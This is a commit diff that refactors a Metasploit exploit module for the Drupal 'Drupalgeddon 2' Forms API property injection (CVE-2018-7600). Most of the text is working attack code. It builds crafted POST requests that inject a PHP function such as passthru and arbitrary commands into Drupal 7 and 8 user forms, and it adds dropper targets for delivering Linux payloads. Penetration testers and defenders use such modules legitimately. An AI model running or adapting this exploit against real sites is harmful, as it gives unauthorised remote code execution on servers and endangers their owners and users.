Refactor module and address review comments
parent
d8508b8d7d
commit
1900aa2708
|
@ -8,17 +8,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Drupal Drupalgeddon 2',
|
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a vulnerability.
|
This module exploits a Drupal property injection in the Forms API.
|
||||||
|
|
||||||
|
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
|
||||||
|
|
||||||
|
Tested on 7.57 and 8.4.5.
|
||||||
},
|
},
|
||||||
'Author' => [
|
'Author' => [
|
||||||
'Jasper Mattsson', # Vulnerability discovery
|
'Jasper Mattsson', # Vulnerability discovery
|
||||||
'a2u', # Proof of concept
|
'a2u', # Proof of concept (Drupal 8.x)
|
||||||
'Nixawk', # Proof of concept
|
'Nixawk', # Proof of concept (Drupal 8.x)
|
||||||
|
'FireFart', # Proof of concept (Drupal 7.x)
|
||||||
'wvu' # Metasploit module
|
'wvu' # Metasploit module
|
||||||
],
|
],
|
||||||
'References' => [
|
'References' => [
|
||||||
|
@ -27,17 +33,39 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
['URL', 'https://greysec.net/showthread.php?tid=2912'],
|
['URL', 'https://greysec.net/showthread.php?tid=2912'],
|
||||||
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
|
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
|
||||||
['URL', 'https://github.com/a2u/CVE-2018-7600'],
|
['URL', 'https://github.com/a2u/CVE-2018-7600'],
|
||||||
['URL', 'https://github.com/nixawk/labs/issues/19']
|
['URL', 'https://github.com/nixawk/labs/issues/19'],
|
||||||
|
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
|
||||||
|
['AKA', 'Drupalgeddon 2']
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Mar 28 2018',
|
'DisclosureDate' => 'Mar 28 2018',
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['unix', 'linux'],
|
||||||
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||||
|
'Privileged' => false,
|
||||||
|
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
|
||||||
|
'Targets' => [
|
||||||
|
['Drupal 7.x (Unix In-Memory)',
|
||||||
'Platform' => 'unix',
|
'Platform' => 'unix',
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
'Privileged' => false,
|
'Version' => Gem::Version.new('7.x')
|
||||||
'Targets' => [
|
|
||||||
['Drupal < 7.58, < 8.3.9, < 8.4.6, < 8.5.1', {}]
|
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
['Drupal 7.x (Linux Dropper)',
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'Version' => Gem::Version.new('7.x')
|
||||||
|
],
|
||||||
|
['Drupal 8.x (Unix In-Memory)',
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Version' => Gem::Version.new('8.x')
|
||||||
|
],
|
||||||
|
['Drupal 8.x (Linux Dropper)',
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'Version' => Gem::Version.new('8.x')
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 2, # Drupal 8.x (Unix In-Memory)
|
||||||
'DefaultOptions' => {
|
'DefaultOptions' => {
|
||||||
'PAYLOAD' => 'cmd/unix/generic',
|
'PAYLOAD' => 'cmd/unix/generic',
|
||||||
'CMD' => 'id; uname -a'
|
'CMD' => 'id; uname -a'
|
||||||
|
@ -46,15 +74,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
|
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
|
||||||
|
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
|
||||||
OptBool.new('CLEAN_URLS', [false, 'If clean URLs are enabled', true]),
|
OptBool.new('CLEAN_URLS', [false, 'If clean URLs are enabled', true]),
|
||||||
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', true])
|
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
token = Rex::Text.rand_text_alphanumeric(8..42)
|
token = Rex::Text.rand_text_alphanumeric(8..42)
|
||||||
|
|
||||||
res = exploit(code: "echo #{token}")
|
res = execute_command(token, func: 'printf')
|
||||||
|
|
||||||
if res && res.body.include?(token)
|
if res && res.body.include?(token)
|
||||||
return CheckCode::Vulnerable
|
return CheckCode::Vulnerable
|
||||||
|
@ -63,36 +92,37 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
CheckCode::Safe
|
CheckCode::Safe
|
||||||
end
|
end
|
||||||
|
|
||||||
# TODO: passthru() may be disabled, so try others
|
def exploit
|
||||||
def exploit(func: 'passthru', code: payload.encoded)
|
if datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||||
if datastore['CLEAN_URLS']
|
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
|
||||||
register = '/user/register'
|
# XXX: Naughty datastore modification
|
||||||
else
|
datastore['DUMP_OUTPUT'] = true
|
||||||
register = '?q=user/register'
|
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Executing on target: #{code}")
|
case target.name
|
||||||
|
when /In-Memory/
|
||||||
|
execute_command(payload.encoded)
|
||||||
|
when /Dropper/
|
||||||
|
execute_cmdstager
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
res = send_request_cgi(
|
def execute_command(cmd, opts = {})
|
||||||
'method' => 'POST',
|
# TODO: passthru() may be disabled, so try others
|
||||||
'uri' => normalize_uri(target_uri.path, register),
|
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
|
||||||
'vars_get' => {
|
|
||||||
'element_parents' => 'account/mail/#value',
|
|
||||||
'ajax_form' => 1,
|
|
||||||
'_wrapper_format' => 'drupal_ajax'
|
|
||||||
},
|
|
||||||
'vars_post' => {
|
|
||||||
'form_id' => 'user_register_form',
|
|
||||||
'_drupal_ajax' => 1,
|
|
||||||
'mail[#type]' => 'markup',
|
|
||||||
'mail[#post_render][]' => func,
|
|
||||||
'mail[#markup]' => code
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
if res.nil? || res.code != 200
|
vprint_status("Executing with #{func}(): #{cmd}")
|
||||||
print_error("Unexpected reply: #{res.inspect}")
|
|
||||||
return nil
|
res = case target['Version'].to_s
|
||||||
|
when '7.x'
|
||||||
|
exploit_drupal7(func, cmd)
|
||||||
|
when '8.x'
|
||||||
|
exploit_drupal8(func, cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res && res.code == 200
|
||||||
|
vprint_error("Unexpected final reply: #{res.inspect}")
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
print_line(res.body) if datastore['DUMP_OUTPUT']
|
print_line(res.body) if datastore['DUMP_OUTPUT']
|
||||||
|
@ -100,4 +130,92 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def exploit_drupal7(func, code)
|
||||||
|
vars_get = {
|
||||||
|
'name[#post_render][]' => func,
|
||||||
|
'name[#markup]' => code,
|
||||||
|
'name[#type]' => 'markup'
|
||||||
|
}
|
||||||
|
|
||||||
|
vars_post = {
|
||||||
|
'form_id' => 'user_pass',
|
||||||
|
'_triggering_element_name' => 'name'
|
||||||
|
}
|
||||||
|
|
||||||
|
if datastore['CLEAN_URLS']
|
||||||
|
uri = normalize_uri(target_uri.path, '/user/password')
|
||||||
|
else
|
||||||
|
uri = target_uri.path
|
||||||
|
vars_get = {'q' => 'user/password'}.merge(vars_get)
|
||||||
|
end
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => uri,
|
||||||
|
'vars_get' => vars_get,
|
||||||
|
'vars_post' => vars_post
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res && res.code == 200
|
||||||
|
vprint_error("Unexpected intermediate reply: #{res.inspect}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
form_build_id = res.get_html_document.at(
|
||||||
|
'//input[@name = "form_build_id"]/@value'
|
||||||
|
)
|
||||||
|
|
||||||
|
if form_build_id
|
||||||
|
form_build_id = form_build_id.value
|
||||||
|
else
|
||||||
|
vprint_error("Unknown form_build_id: #{res.inspect}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
vars_get = {
|
||||||
|
'q' => "file/ajax/name/#value/#{form_build_id}"
|
||||||
|
}
|
||||||
|
|
||||||
|
vars_post = {
|
||||||
|
'form_build_id' => form_build_id
|
||||||
|
}
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => uri,
|
||||||
|
'vars_get' => vars_get,
|
||||||
|
'vars_post' => vars_post
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit_drupal8(func, code)
|
||||||
|
vars_get = {
|
||||||
|
'element_parents' => 'account/mail/#value',
|
||||||
|
'ajax_form' => 1,
|
||||||
|
'_wrapper_format' => 'drupal_ajax'
|
||||||
|
}
|
||||||
|
|
||||||
|
vars_post = {
|
||||||
|
'form_id' => 'user_register_form',
|
||||||
|
'_drupal_ajax' => 1,
|
||||||
|
'mail[#type]' => 'markup',
|
||||||
|
'mail[#post_render][]' => func,
|
||||||
|
'mail[#markup]' => code
|
||||||
|
}
|
||||||
|
|
||||||
|
if datastore['CLEAN_URLS']
|
||||||
|
uri = normalize_uri(target_uri.path, '/user/register')
|
||||||
|
else
|
||||||
|
uri = target_uri.path
|
||||||
|
vars_get = {'q' => 'user/register'}.merge(vars_get)
|
||||||
|
end
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => uri,
|
||||||
|
'vars_get' => vars_get,
|
||||||
|
'vars_post' => vars_post
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue